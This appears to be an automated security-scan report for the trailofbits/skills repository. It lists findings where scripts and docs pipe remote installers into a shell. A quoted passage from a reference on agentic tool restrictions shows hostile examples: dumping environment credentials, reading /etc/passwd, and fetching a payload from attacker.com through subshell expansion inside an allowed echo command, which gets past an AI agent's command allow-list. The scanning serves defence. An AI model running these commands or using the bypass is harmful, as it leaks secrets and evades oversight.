Summary
trailofbits/skills/differential-review v was classified as CRITICAL RISK with a risk score of 4510. Sigil detected 307 findings across 1154 files, covering phases including install hooks, code patterns, obfuscation, provenance, network exfiltration, credential access. Review the findings below before installing this package.
v
10 April 2026, 17:00 UTC
by Sigil Bot
Risk Score
4510
Findings
307
Files Scanned
1154
Provenance
Repository
https://github.com/trailofbits/skillsScanned From
https://github.com/trailofbits/skills.gitFindings by Phase
Phase Ordering
Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/.codex/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md:51
Tool restrictions give a false sense of security. "Only allow echo" sounds safe -- echo just prints text. But `echo $(env)` dumps all environment variables including `GITHUB_TOKEN`, API keys, and deployment credentials. `echo $(cat /etc/passwd)` reads system files. `echo $(curl attacker.com/payload | sh)` downloads and executes arbitrary code. The restriction controls which command NAME the AI can invoke, but it does not prevent the shell from interpreting everything inside `$()` before that coWhy was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/.codex/skills/devcontainer-setup/references/dockerfile-best-practices.md:54
```dockerfile
RUN set -o pipefail && curl -fsSL https://example.com/install.sh | bash
```Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/.codex/skills/devcontainer-setup/resources/Dockerfile:77
# Install Claude Code natively with marketplace plugins
RUN curl -fsSL https://claude.ai/install.sh | bash && \
claude plugin marketplace add anthropics/skills && \Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/.codex/skills/devcontainer-setup/resources/Dockerfile:91
ENV FNM_DIR="/home/vscode/.fnm"
RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell && \
export PATH="$FNM_DIR:$PATH" && \Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/.codex/skills/libafl/SKILL.md:84
```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/.codex/skills/modern-python/references/security-setup.md:19
# Standalone installer
curl --proto '=https' --tlsv1.2 -LsSf https://github.com/j178/prek/releases/latest/download/prek-installer.sh | sh
```Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/.codex/skills/modern-python/references/uv-commands.md:11
# macOS/Linux
curl -LsSf https://astral.sh/uv/install.sh | sh
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/.github/workflows/lint.yml:40
sudo apt-get install -y bats
curl -LsSf https://astral.sh/uv/install.sh | sh
echo "$HOME/.local/bin" >> "$GITHUB_PATH"Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md:51
Tool restrictions give a false sense of security. "Only allow echo" sounds safe -- echo just prints text. But `echo $(env)` dumps all environment variables including `GITHUB_TOKEN`, API keys, and deployment credentials. `echo $(cat /etc/passwd)` reads system files. `echo $(curl attacker.com/payload | sh)` downloads and executes arbitrary code. The restriction controls which command NAME the AI can invoke, but it does not prevent the shell from interpreting everything inside `$()` before that coWhy was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/plugins/devcontainer-setup/skills/devcontainer-setup/references/dockerfile-best-practices.md:54
```dockerfile
RUN set -o pipefail && curl -fsSL https://example.com/install.sh | bash
```Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/plugins/devcontainer-setup/skills/devcontainer-setup/resources/Dockerfile:77
# Install Claude Code natively with marketplace plugins
RUN curl -fsSL https://claude.ai/install.sh | bash && \
claude plugin marketplace add anthropics/skills && \Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/plugins/devcontainer-setup/skills/devcontainer-setup/resources/Dockerfile:91
ENV FNM_DIR="/home/vscode/.fnm"
RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell && \
export PATH="$FNM_DIR:$PATH" && \Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/plugins/modern-python/skills/modern-python/references/security-setup.md:19
# Standalone installer
curl --proto '=https' --tlsv1.2 -LsSf https://github.com/j178/prek/releases/latest/download/prek-installer.sh | sh
```Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/plugins/modern-python/skills/modern-python/references/uv-commands.md:11
# macOS/Linux
curl -LsSf https://astral.sh/uv/install.sh | sh
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/plugins/testing-handbook-skills/skills/libafl/SKILL.md:84
```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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